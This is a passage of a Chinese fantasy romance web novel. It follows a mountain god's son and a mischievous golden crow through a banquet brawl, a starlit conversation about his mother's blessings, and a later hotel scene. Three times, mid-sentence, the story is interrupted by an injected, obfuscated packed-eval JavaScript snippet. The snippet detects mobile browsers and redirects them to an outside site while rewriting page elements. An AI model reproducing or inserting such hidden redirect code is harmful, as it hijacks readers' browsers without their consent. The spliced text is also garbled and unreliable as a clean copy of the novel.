荣承光一看哥哥要走,立马嚎啕大哭:“哥!抱!抱抱啊!!!呜……呜呜呜哇啊啊——!” “你会不会带孩子啊?他要你抱你没听见么!” 时妙原一把从地上捞起小孩,十分熟练地摇晃了起来:“哦,哦,不哭了乖乖,不哭不哭,长这么可爱你成天哭个什么劲儿呢?脸哭红了可就不好看了,哥哥坏,咱不跟坏哥哥计较,来,和漂亮哥哥啵一下!啵啵!啵唧啵唧,骗你的,没有亲到啦,嘿嘿。” 他这一套动作如行云流水,不仅成功哄好了荣承光,更是把荣观真看得目瞪口呆。 “你之前养过小孩吗?”他震惊地问,“就……兄弟姐妹什么的?” “现在的话家里有个弟弟,不过生下来就能跑能叫能打能杀的,倒没亲自养过。”时妙原头也不抬地说,“至于别的嘛……哎呀,说起来好复杂,你就当他们都死了吧。” “……那就是你自己有小孩咯?”荣观真有点不自在了。 “你说什么胡话呢?!”时妙原当即拍叶而起,“我警告你啊,我的私生活可是很清白的!我从来没和人亲过嘴我跟你说!我活了这么些年连手都没摸过,你别搁这给我造谣!” “哦。” “咋的,你担心我有主啊?” 荣观真翻了个白眼:“我是在想谁会这么倒霉摊上你还跟你生了孩子,没有的话那我就放心了。” “切,你懂什么啊?”时妙原不屑地上下打量着荣观真,“你小子是真不识货,你知道从古至今有多少人哭着喊着要跟我睡觉吗?我可是守身如玉,连屁股都没给他们看一眼呢!” “噗——” 荣观真差点被酒呛死,他咳嗽半天,满脸涨红地说:“小孩子还在呢!你别瞎讲八道!” “装什么装,你少说也有三四百岁了吧,还能不懂那档子事儿?” “我……我不知道!” 时妙原坏笑道:“哟,是真不知道还是装不知道啊?你不会是……故意想让我以为你不知道吧?” “把我弟还给我!”荣观真一把将荣承光夺了过来,逃也式地缩到了莲叶角落。时妙原拍拍手掌,又叫菩提果送来了好多菜品。 荣承光吃饱就渐渐不哭了,身边神仙酒过三巡,却开始讲起了胡话。 “这空相山真是不错啊。”沙百泉感慨道。 洪延城也打了个饱嗝:“是啊是啊,酒也好,景色也美,地方也大……哎呀,我是真的羡慕。” “你说,这么好的地方,闻音要是有什么三长两短的,这山可不就遭重了么?” 说话的是穆元沣,他刚才喝得太多,现在终于管不住嘴巴,阴阳怪气地议论了起来。 洪延城拿胳膊肘拐了拐他:“哎,在人家地盘呢,不要讲这种话。” “我说的是真的呀,山神要是出事了,整个地界都夷为平地都算是轻的呢!”穆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142664|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元沣扯着嗓子喊道,“以前也不是没发生过这种事情啊,就那个,那个什么什么明珠山,当时别说是人了,就连动物也都死光光了不是!” “克喀明珠山那是事发突然,对于有所准备的来说,只要提前选好接班人就好了吧?”沙百泉看似无意地斜了荣观真一眼,“这不,这就有俩呢。” 穆元沣打了个酒嗝。他看看荣观真,又看看荣承光,嗤笑一声道:“有是有,就是看着弱不禁风的,也不知道能不能把他娘撕吧撕吧吃进肚子里去。” 荣观真一下子站了起来。他还没来得及迈开脚,就冷不丁被时妙原拉了回来。 “哟,生气了。”穆元沣哂笑道。 “脾气这么差?这点话都听不得。” “心胸狭窄怎么能做山神,要我说,干脆到时候把这空相山分吧分吧,大家选贤举能得了!” 荣闻音远远地望了过来,她看这几位神仙聊得这么开心,对他们微微笑了一下。 荣观真浑身都在发抖。 “别跟他们置气,一群破河土丘而已。”时妙原紧紧地攥住了他的手,怎么也不放开。“这些老混账也就每隔几百年在你眼前晃悠这么一回,没事的,可别冲动拿三度厄砍他们啊,杀鸡焉用牛刀。” 三度厄被荣观真别在了腰间,它的剑身上裹着一层厚厚的棉布,从外观看完全瞧不出是什么东西。 荣观真深吸一口气,道:“你……不用你劝我。我不是小孩子,我知道好歹。我是不会在这种场合闹事的,你……嗯?” 时妙原把荣观真抱进了怀里。 “乖,乖,别气了,啊。”他一边顺着荣观真的头发,一边像对待小孩子似地哄着他说,“别生气了,没什么好气的,不就是水果没有了吗?这里还有好多好吃的东西呢,大不了等下再要菩提果做些就是了,你不要闹了好不好呀?” 穆元沣和沙百泉很快便讨论起了别的话题,待到再没人注意这里了,时妙原俯到荣观真耳边轻声说道:“但是,谁说我要劝你了?” 荣观真浑身一震。 “你这是什么意思?”他半信半疑地问。 “你想不想干票大的?”时妙原笑意盈盈。 “什么?” “你就直说,你现在想不想抽他们吧。说真话,在我面前你就别端着了。” “……想。”荣观真捏紧了拳头,“但是我不能这么做。这里这么多神仙,我娘为这场宴会准备了太久,我要是当场发作,她肯定下不了台。这就是为什么我一直不想见到这些狗皮膏药!” “谁要你光明正大地干了?我们别让大家发现不就好了。”时妙原一笑,露出了一颗锋利的虎牙,“你知道我是干什么的吧?我是金乌,金乌就是太阳,不过我不是天上挂的那个,我已经好久没干过太阳的活了。可话虽如此哈,我的看家本事还是没有退化的。” 他们离得很近,近到荣观真甚至能闻到时妙原身上若有若无的香薰气味。 他想拉开彼此之间的距离,但是他做不到。时妙原的声音甜腻无比,他的怀抱十分温暖,那像是阳光照在棉絮上会有的温度。 “你到底想说什么?”荣观真强行稳住声线道。 荣承光从他们身后爬过,被时妙原一把捞起来塞到了哥哥怀里:“抱紧点,等下现场可能会有点混乱,仔细别把这小东西踩扁了。” 说完,还不等荣观真作出反应,时妙原拍拍袖子,潇洒地站了起来。 他挥舞着双手大喊了起来:“诸位神仙!看我一下呗——” 众仙纷纷回过了头来。 见自己再度成为了目光焦点,时妙原当即开怀道:“今天时机正好,大家吃好喝好,要光是吃饭未免有些无聊,不如就由我来给各位表演个绝活助助兴吧!” 说着,他袖摆一挥,天上当即落下了无数泛着金光的乌羽。 “这个节目的原理呢我就不解释了,反正啊你们要是想的话,可以和我一样,把它叫做——吹灯!” 啪! 天黑了。 “快,就现在!”时妙原兴奋地抓住了荣观真的胳膊,“他们什么都看不见了,这可是千载难逢的好机会!别犹豫了,就趁现在,抄家伙。给我往死里打!!!!!” 23. 莫忘莫惘(五) 荣观真迅速从莲叶上爬了起来。他一手抱住荣承光,一手反抄起三度厄,精准无误地拿剑柄砸中了穆元沣的脑袋。 “哎哟!是谁打我!” 穆元沣猝尔大叫,当然他是听不见自己的叫声的。现场瞬间陷入混乱,在场众神全都在时妙原的灵压下失去了对外界的感知。机会难得!荣观真先给穆元沣又来了两耳光,然后他冲向洪延城,飞起一脚将他踹下了莲叶。 他的下一个目标当然是沙百泉,那家伙还在原地嗷嗷扑腾,冷不丁就被荣观真抓住脑袋把脸按进了水中。他发出咕噜噜噜的气泡声,这让他听起来像极了一条即将在水里溺死的金鱼。 荣观真挨个在底下抽人的时候,时妙原已经变回了原形在空中盘旋。金乌阔长的尾羽横扫过湖面,恰巧把刚缓过神的穆元沣掀进了水里,恰巧给好不容易浮上来的洪延城扇掉了两颗门牙,恰好就将误打误撞游到岸边准备逃跑的沙百泉抓起来扔到了树杈上——这世上的巧合实在是太多了!最巧的是这一系列混乱都识趣地避开了荣闻音和施太浩父女。 时妙原的狂笑在蕴轮谷上空回荡,黑羽铺洒满天,荣观真蹿行其间,这两位大仙一个拳打脚踢,一个嘴啄爪挠,活脱脱就是一对劫富济贫、忠肝义胆的侠……恶侣! “阿真!”荣闻音抓狂地大吼道,“是不是你在捣乱!” “不是阿真,不是阿真!”时妙原也不管她听不听得见,就嘿嘿哈哈地狂笑了起来,“是我,姐姐!是我!你妙妙弟弟又跑空相山来捣乱啦——!!” “时妙原!时妙原!” 这次喊他的是荣观真。时妙原低头一看,荣观真站在莲叶上焦急地朝他伸出了手:“快带我走!我妈好像要反应过来了!!!” 时妙原见荣闻音果真正扶着脑袋摇头,不由得大惊失色。他赶忙俯冲向荣观真,想也没想就将他连人带剑一起拎上了高空,临走时他还抓起方才吃空的果盘扔了下去,穆元沣才回过神来,就被这天降大礼砸中鼻梁,嘎嘣一下又昏了过去。 果盘落水瞬间,荣闻音猛地睁开了眼睛:“时妙原!你在干什么!” “启禀姐姐,我将拐带你的亲儿!”时妙原绝尘而去,其余神仙也都恢复五感,纷纷指着他的背影破口大骂了起来:“时妙原!你这只死鸟!你别跑,你给我等着!我们是不会放过你的!!!!!” 身后传来鸡零狗碎的怒斥,时妙原听着纯当是在放屁。他不断振翅狂飞,紧赶慢赶,一口气直接逃到了香界峰顶上。 他一落地便变回了人形,荣观真则挣扎起身,抱起荣承光冲向菩提树摇晃了起来:“开门!快开门!快点放我进去,我娘要追过来了!” 菩提果应声而落,时妙原还没反应过来,就被荣观真拽着一股脑冲进了裂隙之中。 黑暗陡然降临。 花香与鸟鸣将他们团团包围。 这是处与世隔绝的密林。 树影滴翠,花儿娇艳,夜间山中虫鸣清脆。此地本应是深隐山林的净土,可却在最不该有人叨扰的时刻来了三位不速之客。 其中一位怀抱小孩,手持长剑,头发被风吹得乱七八糟,活脱脱一副叫花子模样。另一位则身穿嘿袍,打扮华丽,他看着身手不凡……实际上么,也在地上翻了好几个滚才堪堪刹住脚步。 “亲娘嘞,这也太刺激了!” 时妙原大叫一声,终于力不能支,在草地上呈大字状摊了开来。 身下的草地很软,甚至还在喘气,那似乎不是草,而是被他压在身下动弹不得的荣观真。 “你……起开!”荣观真艰难地推了时妙原一把,“你这死鸟怎么那么沉!” “我不行了,你让我靠会儿……我真的要累死了……哇……”时妙原像小狗似地不断喘着粗气,“我不行了……感觉上一次这么累还是被后羿一穿九的时候。呃啊……呼……阿真,咱们来的这是什么地方啊,你的秘密基地吗?” “……差不多吧,这里被我设了结界,一般人进不来,我娘她……呃,应该暂时不会找到这里,的吧。”荣观真断断续续地说。 “哎?等等!”时妙原一下子弹射起身,“等一下啊阿真,你说别人都进不来,那你把我放这,岂不是在金屋藏娇?不对,你这是娇藏金乌!” 荣观真已经连翻白眼的力气都没有了。他一脚踹开时妙原,抓起三度厄,支着剑摇摇晃晃地站了起来。 荣承光在一旁呼呼大睡,方才那么混乱的场面,天上那么大的风,也不知道这小笨蛋是怎么能睡得着的。荣观真将他小心翼翼地抱了起来,确认弟弟并无大碍后,他才终于长舒了一口气。 “我们到山顶上去吧。”他有气无力地对时妙原说,“我在山上有间屋子,可以到那儿去歇一下,暂时避避风头。” “山顶?”时妙原的表情瞬间耷拉了下来,“我不想爬山!” “那你就自己飞上去。”荣观真头也不回地爬上了阶梯。 “可是人家也不想飞嘛——”时妙原扯着嗓子嚷嚷道,“我刚才飞太多了,我的翅膀都酸了,还掉了好多好漂亮好漂亮的羽毛,我真的好累哦!你看我的辫子都快累散开了!你都不知道心疼心疼我的吗?你好狠的心啊荣观真!” 时妙原说着,整个人干脆直接贴到了荣观真身上。他捏捏荣观真的肌肉,又戳戳荣观真的脸蛋,再带着三分真诚两分算计五分图谋不轨地问道:“阿真,你力气大,身体好,你还年轻,你有的是精力,你把我背上去好不好?” 荣观真唰一下抽出了三度厄:“真是好!剑!就是不知道用起来趁不趁手。” 时妙原立马连跨十级台阶:“我自己爬!” 实事求是地说,这段山路真的不能算是难爬。 它的坡度不高,距离不远,就算是对缺乏运动的普通人来说,最多也不过就是用时久一点,走得费劲点儿,绝对不存在无法登顶的情况。 只可惜,时妙原不是普通人,他在偷懒耍滑方面的造诣已然超脱了三界五行。他才走了没几步就开始喊累,没爬两米就开始喊脚疼,一会儿说衣服弄脏了想洗,一会儿又叫头上首饰太沉了影响他喘气儿,直到最后荣观真实在忍无可忍,一声口哨唤出白马,把这坨哭天喊地的大型不可回收黑鸟整个甩了上去。 “给你骑马,不许再叫了!”他恶狠狠地把荣承光塞到了他怀里,“拿好了,你敢再叫一句,我就把你推到山底下去喂老虎!” “咦嘿!谢谢荣老爷,荣老爷对我真好!”时妙原发出了阴谋得逞的奸笑。 就这样,荣观真牵着马,马驮着时妙原,时妙原抱着呼呼大睡的荣承光,吵吵嚷嚷地爬到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142665|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了山顶上一间树木环绕的小木屋门口。 这是栋十分朴素的房子。从外表上看,它与普通民居相比没有任何区别。它的屋前并无牌匾或者标识,走进去之后也都是些寻常人家该有的作物和建筑。一定要说有什么特别之处的话,那就是这里的植物实在是很多。 院中清香四溢,苗圃中种满了各色怒放的鲜花。五色梅、红丁香、扶桑花与黄姜花在其中争奇斗艳,花丛中有两棵树引起了时妙原的注意:其中一棵是菩提树,另一棵则看不出有什么特别。它生得枝繁叶茂,花期已过,他分辨不出它的具体品种。 “这是什么树?” 时妙原翻身下马,抱着荣承光好奇地凑了过去。有几颗菩提果见荣观真来了,本来探头探脑地想出来玩,一看到浑身匪气的时妙原,吓得赶紧躲到了别的地方。 “普通的树。”荣观真一边栓白马一边说。 “普通的树为什么会种在这里?”时妙原绕着这树直打转,“你可是山神之子,神仙们种什么灵草灵物不都是有讲究的么?它看起来也没有任何灵力可言呀……嗯?这是什么?” “叽叽!” 一只小喜鹊从树上飞下,停在枝子上好奇地打量起了时妙原。 这小家伙毛发乌黑亮白,肚皮圆润饱满,尾羽也生得利索又好看。时妙原一见到同类就乐开了花,他欢喜地伸出右手,轻轻点了点小喜鹊毛茸茸的脑袋:“小朋友,你好呀!你是这儿的住客么?我问你呀,你知不知道你现在踩的这棵是什么种类的树哦?” 小喜鹊叽叽喳喳地介绍了起来,时妙原歪着脑袋认真倾听,时不时还点一点头。 荣观真开始不动声色地后退。 时妙原正忙着和喜鹊对话,这对他来说是一个千载难逢的时机。 他蹑手蹑脚走向大门,小心翼翼握住门闩,谨慎至极地拉开了木门——吱呀,门才刚开几寸,就被一只从他背后伸出来的手砰!地推上了。 “你?!”荣观真惊恐地回过头去,只见时妙原的嘴角微微勾起,笑得既邪魅又令人毛骨悚然。 “小真真,你准备去哪里呀?”时妙原和煦地问道,“这大半夜的把我领回家,怎么自己先逃跑了?” 荣观真咽了口唾沫:“我去外面打水。” 时妙原指着院中的深井问:“在这儿打不行么?” “外……外面的水更甜。” “哦——更甜。”时妙原恍然大悟道,“原来你喜欢甜的东西呀。哎,我早该想到的。但是我就不明白了,阿真,我当初给你的那颗杏子那么甜,那么脆,那么好吃,你为什么那么狠心,居然要把它埋到这暗无天日的地底下去呢?” 荣观真惊恐地望向了那小喜鹊。 是你告的密?! 小喜鹊看热闹不嫌事大地对他“啾”了一声。 “别看它,看我!”时妙原把荣观真的脸掰正了过来。他笑眯眯地问:“我跟你说,我也是刚刚才知道,你当初非但没有吃它,还把它种到了这里。这些年你对它又是精心养护,又是好生照料,还要每天都过来对它说话聊天,对它倾诉衷肠、寄托情意……你说,这究竟是为什么呢?哦,我知道了。” 时妙原单方面做出了判断: “荣观真,你肯定是因为喜欢我,才会这么做的!” 24. 莫忘莫惘(六) “你这个叛徒!”荣观真指着喜鹊破口大骂道,“我天天好吃好喝供着你,安安稳稳伺候着你,你倒好,你为什么要跟这家伙告密啊!” 小鸟仓皇逃窜,时妙原张开双臂挡在了荣观真面前:“哎哎哎,有事冲着我来,别找小孩麻烦!来我正好问你,荣观真,你不吃那杏子是不是因为舍不得?你是因为喜欢我才想一直留着它,又怕它烂掉没有了才种成树的对不对!?” “我不是,我没有,你给我闭上你的鸟嘴!!!”荣观真气得连头发丝儿都在冒烟,“我,我当初只不过是不小心给那玩意儿放坏了,没地方扔就扔这儿了而已,你不要信口开河!” “嘿嘿嘿嘿嘿……” “你笑什么笑?你笑得好恶心啊我靠?!” 时妙原宽宏大量地说:“好啦好啦,害羞是正常的,你这个年纪的小孩是比较容易口是心非。” “我没有害羞,也没有口是心非!而且我已经五百岁了,你不许再说我是小孩!”荣观真用力地张开了五根手指头。 “哟吼~五百岁了还没有谈过恋爱?”时妙原流氓似地吹了声口哨,“那你确实和小孩子也没什么区别了。” “你还敢说我?!你都两万多了,不也一样连别人手都没有牵过!” “谁说的?我已经牵过了呀。”时妙原笑眯眯地举起右手,“刚才在司山海宴上我还摸了你的手呢,你忘了?” 荣观真发出了一阵绝望的嘶吼。 五百年对神仙来说虽然不过是弹指一瞬,但至少也能让他们掌握基本的相处之道。荣观真自认为具有完备的社交反击能力,可在时妙原面前,他却只感到自己头上顶了四个沉重的大字:无力回天。 不知道是时妙原本就天赋卓群,还是他荣观真就是会被这种类型的贱人吃得死死的,也有一种可能,这二者兼而有之。 “开玩笑的,不逗你了。”时妙原拉起了荣观真的衣袖,“来,带我逛逛你家呗,我看这儿好像有个露台,等下能陪我上去瞧瞧不?” 荣观真放弃了抵抗。他听天由命地带着时妙原向里走去,走到一半那鸟却突然停下了脚步,指着门口问道:“差点忘了问了,那它又是打哪儿来的?” 他指的是那棵结满了果实的菩提树。 “那是我的本命木……”荣观真有气无力地说,“是妈妈当初种的,她说,我就是从那棵树里蹦……不是,长出来的。” “本命木?哦——我懂了!”时妙原恍然大悟道,“你的意思是,你是闻音栽的小树对吧?” “可以这么说吧。”荣观真挠了挠后脑勺,“反正山神也好,水神也罢,基本上都是这么来的。有的生于灵石,有些源自仙湖,我呢就是这棵树了。她以血培树,以元神育我,这也就是为什么我会认她为母亲。” “原来如此啊……不得不说,咱神仙就这点好处。”时妙原感慨道,“不需要成亲,不需要找爹,想干嘛就干嘛,想生几个就生几个,想要孩子了直接挖个坑埋点东西就行。哎呀,要这么说的话,咱们真真就是小树枝了呢!真可爱。” 萌萌小树枝冲他翻了个惊天动地的白眼:“你别给我树砍了我就谢天谢地了!” “嗯?砍了会怎么样啊?” “会死。咋了?” “哇……这么重要的事情,你就这么告诉我了,你难道不怕我害你吗?”时妙原感动地捂住了心口。 “还好吧。”荣观真摆手道,“我娘说脑子笨的人都没那么多心眼子。” “哈?!我这个大笨蛋刚才可是让你出了气,还帮你背了锅,你居然还说这种话!你等着,我这就拿开水把你浇死!” 时妙原作势就要拔树,被荣观真拽着领子拖走了:“你省点力气吧你!” “哎哎哎,你别碰我衣服!我这身可贵了,你松开点儿!” “我就不!” “非礼呀,非礼呀,山神护法非礼良家小鸟啦——” “闭上你的鸟嘴!” 他们吵吵嚷嚷地走上了高处。 这院子依山而建,其中最高点就是时妙原心仪的露台。它叫作聆辰台,前往台顶唯一通路是一条老旧的木栈道,时妙原爬山的时候叫得哭爹喊娘,到这时就健步如飞起来了。他像一阵风似地蹿到最高处,刚一登顶,他兴奋地欢呼道:“好多星星!怪不得叫这个名字呢!” 聆辰台上除了一张躺椅之外就再无别物,荣观真爬上来以后,没好气地把椅子踢到了时妙原面前:“坐吧!” 时妙原毫不客气地坐下了去,他看荣观真还杵着,立刻啪啪拍了两下大腿:“你坐我腿上?” 荣观真冷笑道:“你怎么不让我坐你脸上呢?” “也不是不行?来嘛。” “时妙原,算我求求你了,你直接从这里跳下去吧,啊?好不好?” “来嘛,坐过来嘛。”时妙原吭哧吭哧给荣观真挪出了半边椅子,“我可不忍心让你干站着。” 荣观真直接席地而坐。时妙原切了一声,也不再强求他了。 荣承光被菩提果送去屋里睡觉了,这里现在只有他们两人。山中夜间风大,林海婆娑作响,争吵暂歇之后,这是难得的宁静时刻。 “好美啊。”时妙原轻叹道。 荣观真抬眼望去,只见远处山影朦胧,似是被披上了一层星光做的纱帐。 他点点头:“确实挺好看的。” “是呀。”时妙原扭头对荣观真说,“真的特别特别好看。” 荣观真的脑门上蹦出了一个问号:“你看星星就看星星,老盯着我瞅干啥?” 时妙原弯下腰,俯身凑到了荣观真面前。 他的辫子有点儿散了,墨柳一般的发丝垂落下来,软绵绵地聚拥在了荣观真的膝间。 “阿真,你知道刚才那些神仙为什么会任由咱俩戏耍吗?”他兴致勃勃地问。 “因为什么?”荣观真一见他靠近,整个人警觉了起来。 “因为我可以封五感,断灵识,中了这招的人会失去对外物的全部感知。”时妙原说着,抬手拨开了几缕沾到荣观真脸上的头发,“我说这个是想告诉你,如果我对你用这个的话,我现在就算是突然亲你一口,你也是发现不了的。” 他嘿嘿地笑了。 荣观真面无表情:“你觉得我会在乎吗?你大可以直接咬死我,真的。反正跟你混到现在,我感觉我也没有什么尊严或底线可言了。我都不敢想等过两天我娘找到我,她会把我揍成什么样。” 时妙原哈哈大笑:“事儿都干完了才害怕?真是怂包一个!你放心吧,闻音她不会把你怎么样的,今天这事儿其实是她交代给我的。” “交代你什么,让你像个鸡毛掸子似的在司山海宴闪亮登场?” “不不不,我是来帮她镇场子的。”时妙原伸了个大大的懒腰,“你也看得出来吧?今天来的这些宾客其实很多都对她并不服气。这个有属地冲突,那个总说三道四,穆元沣你还有印象吧?他平日里和空相山最不对付了。她早就想治治他们,但碍于身份不方便出手。所以,嘿!我今天就大驾光临咯!” 他以拳击掌道:“我么,老油条一个!本来名声就差,大闹宴席这种事儿让我来干刚刚好。当然了,我做这些也是有报酬的,瞧,这颗珠子就是我今天的工钱。” 他微微掀开袖口,蓝纹玛瑙的辉光一闪而过。 “她还交代我,要照顾好你们两兄弟。尤其是你。”时妙原指着荣观真说。 “我?我有什么可照顾的。”荣观真听得眉头直皱,“我又不是小孩儿。” “谁知道呢?可能当娘的就是很容易操心吧。”时妙原懒洋洋地说,“她说啊,她这个大儿子长得漂亮,能力很强,什么都好,就是不爱交际,成天就知道独来独往。我是出了名的厚脸皮,她说你跟着我,肯定能开朗不少!等以后接了她的班,也能更得心应手一点。” 荣观真沉默片刻,道:“我不需要朋友。” “哎?真的假的。” “嗯,而且我也不想当山神。她给我的这把剑……我也不知道到底该怎么用。”荣观真望着腰间的三度厄说。 “为什么啊?当山神有什么不好的?”时妙原不解地问,“山神地盘大,名头响,既可以吃祭品,闲得没事儿干还能打打雷下下雨吓唬吓唬人什么的。以后等你当上主神了,你还可以把这里扩建一下立为行宫,名字我都想好了,就叫香界宫!” “别扯这些有的没的,你知道山神之位交替意味着什么吧?我娘很有可能会死啊!” 荣观真嗖地站了起来,他板着脸对时妙原说:“如果我成为了新山神,她就会彻底消失,我在外风风光光,她却不知道要被赶到哪里去!这是她的山,所有人都为她而来,这里的东西没一个是属于我的,掌管空相山对我来说一点吸引力也没有!我每天只要能在林子里逛逛,浇浇花看看树就已经很开心了!” “嗯……你说的确实有点道理。” 时妙原难得没有反驳。他思索片刻,抬头对荣观真笑道:“但是没事的,你娘她神力无边,就算你真想取代,也得再过几万年再说。至于三度厄,这也简单,你且拿着,到时候看谁不爽杀了就好了。” 荣观真一听这话,表情瞬间变得十分烦躁:“可是我不想杀人!” “那很坏事了,你这样以后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142666|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要怎么当山神呐?”时妙原眨巴着眼睛问,“当山神就是要杀很多人的,不然,你要怎么才能立威,怎么才能震慑得住那些偷猎的、盗伐的、不干人事的,不尊敬你的坏种呢?” “想立威就非得动手吗?有人惹了我,我骂他几句再把他赶走不就好了!”荣观真烦躁地说。 “不想动手的话,那你就要换一条路子走了。嗯……你可以帮他们实现心愿,替他们排忧解难,这样一来大家就都会来信你爱你,就都会听你的话了!只是这样做的话,你有可能会很难受。” “为什么?” “因为人就是欺软怕硬的东西。”时妙原摇头晃脑地说,“不仅是人,其他神仙也一样。你对他们好,他们就蹬鼻子上脸。你性格越温和,就容易受欺负。你如果想当慈悲之神,那就必须随时做好不慈不悲的准备。因为你会被误解,被嘲笑,会被踩在地上,会被当成臭虫,你的本意会被扭曲,你的一举一动都会被放大到你从未想过的境地。没人会听你辩解,到那时你再想用武力解决问题就很困难了。人们会敬畏一个起初就恶贯满盈的邪神,但他们不能接受你半路变成这样。” “我……” 荣观真听得一愣一愣的。他支吾了半天,好不容易从牙缝里挤出了一句:“我不温和!” “那里的话?我看啊我们家阿真,是天底下脾气最好的小神仙了。”时妙原站起来,笑眯眯地捧起了荣观真的手掌。荣观真的手心各有一片莲花样的掌纹,这据说是空相山神血脉延续的标志。 “阿真,你听我说啊。”时妙原轻轻摩挲着他手心的纹路,“有时候,你可能会觉得你娘有些不近人情。” “……我没有。” “偶尔呢,你也可能会怨她为什么要请那么多不三不四的神过来,把空相山搞得乌烟瘴气不说,还要在背后平白挨人数落。” “我……” “但其实这都并非她的本意,她做这些都是为了你们。她很爱你和承光,哦当然了她更爱空相山,嗯……这么说是不是会让人感觉她最爱的是自己?但这也正常吧,是个人都该以自己为先。” “我知道她爱我们。”荣观真有些僵硬地说。 时妙原释然而笑:“那就太好了!说说看,你都是从哪看出来的?” “因为……因为,我和承光刚来到这世上的时候,她给我们各自赐下了祝福。” “哦?”时妙原来了兴致,“她都给你俩送了什么?” 荣观真垂下了眸子。 他似乎是在回忆,抑或是在细思那祝福中的情意。 树林沙沙作响,时妙原耐心等待了很久,直到天边泛起鱼肚白,荣观真才缓缓说道: “对承光,她的祝福是,‘不忘’。” “记忆力超群。不错,那脑袋会很聪明了。” “而我的话,她祝我……” 荣观真茫然抬头。 “她祝我永世不惘。” 狂风忽起。 树木猛烈摇曳,枝干纷纷倒伏,乌云直冲向星辰,又迅速被吹散作了浮烟。 天上星光荧荧,地上草儿不语,狂风吹断了时妙原的发绳,于是那黑发如瀑布般奔流向了他的湖池。 它们有些舞向高空,有些垂落尘埃,有些被一双手紧紧握住,而有些,则落进了一对有些粗糙,有些柔软,也有些颤抖的宝莲之中。 金饰叮当作响,在离天最近的地方伫立着两尊石雕。他们一个沉默,一个更不加言语。发丝遮蔽了他的眼睛,枯叶亦捂住了他的双唇,飞沙走石间他们听见山神的祝福:她说,我愿你永生不忘。 我祝你,永远都不必怀疑自己的选择。 不要忘记。 不要迷茫。 不要…… 时妙原猛地睁开了眼睛。 天亮了。 他竟然在杏树下睡着了。 雨大概刚停,周围到处都是积水。他身边的一小块土地是干燥的,荣观真打着把伞,静静地站在他的面前。 “你醒了。”他说。 “嗯……我……”时妙原有些艰难地爬了起来,“我……呼,我好像做了个梦。” “这天气是很容易做梦。”荣观真说,“我昨晚也做梦了。我梦见了好多人,说了好多话,醒了以后觉得好累,根本就动不了。” “我说梦话了吗?”时妙原问。 “过两天跟我到外地去一趟吧。”荣观真答非所问。 “去哪?” “东阳江。” 荣观真将伞收起,雨水哗啦啦洒落了一地。 “我弟弟最近又出事了,我得去找他谈一谈心。” 25. 空山苍苍(一) 七天后,慧阳县,东岭国际度假酒店。 眼下正值旅游旺季,前来办理入住的游客络绎不绝,酒店大堂人来人往,等候区内有两名男子正在沙发上相对而坐。 其中一位戴着副时下最新款的渐变墨镜,白西装加灰衬衫的搭配显得他气质不俗,只不过他手里捏着的烤淀粉肠却令他的身份有些掉了价。另一位虽穿着普通的黑T牛仔裤,但饶是如此也依旧帅得惊为天人。非得挑点什么毛病的话,那就是他的脸色谄媚得太过,已经到了有点阴阳怪气的地步。 这两人的外形太过惹眼,一进门就吸引了在场绝大多数游客的目光。当白衣男掏出钱包,把两张金光闪闪的卡片递到黑衣人手中时,周围的议论声瞬间达到了顶峰。 “哟,您这是做什么?”那黑衣人故作惊讶地捂住了嘴巴,“咱俩的关系应该还没到要上交工资的地步吧?荣老爷。” “拿去开一间套房。”荣观真把卡直接扔到了时妙原脸上,“要复式,次顶层,行李让他们先送上去,就说从我积分里扣。” 时妙原捧着荣观真的银行卡和证件,老半天了屁股也没挪一下。 “你是听不懂人话还是怎么着?”荣观真歪着头问,“你在等我把你抱过去吗?” “哈哈,这倒也不必。”时妙原摆了摆手。他沉吟片刻,道:“那什么,老爷啊,其实……我现在正面临着一个比较严峻的问题。” “什么?” “我说了你别攻击我。” “你说。” “俺妹有身份证。” “……你是野人吗?” 时妙原尴尬地笑了,毕竟你很难讲被一座山评价为野人到底该算是套近乎还是鸟身攻击。他支吾了半天也没能给出解释,最终还是荣观真先放弃追问,咬着淀粉肠拿卡自己走向了前台。 时妙原望着他远去的背影,不由得暗自松了口气。 距离他被荣观真带回蕴轮谷,已经过去了整整一个星期的时间。 杏树下那一夜过后,荣观真莫名其妙地消失了好几天。离了他的约束,时妙原直接就成了香界宫内一霸,他每天不是调戏菩提果,就是和树上的鸟儿玩大合唱,关亭云和关居星被他吵得是两个头四个大,可有荣观真的嘱托在前,他们也不敢把时妙原打包扔到外面去。 这段时间,时妙原的日子过得可以说是滋润至极。只可惜好景不长,昨天荣观真突然现身,二话不说把他从杏树上薅了下来。时妙原前脚被荣观真扔出香界宫大门,再回过神来时已经到了慧阳。 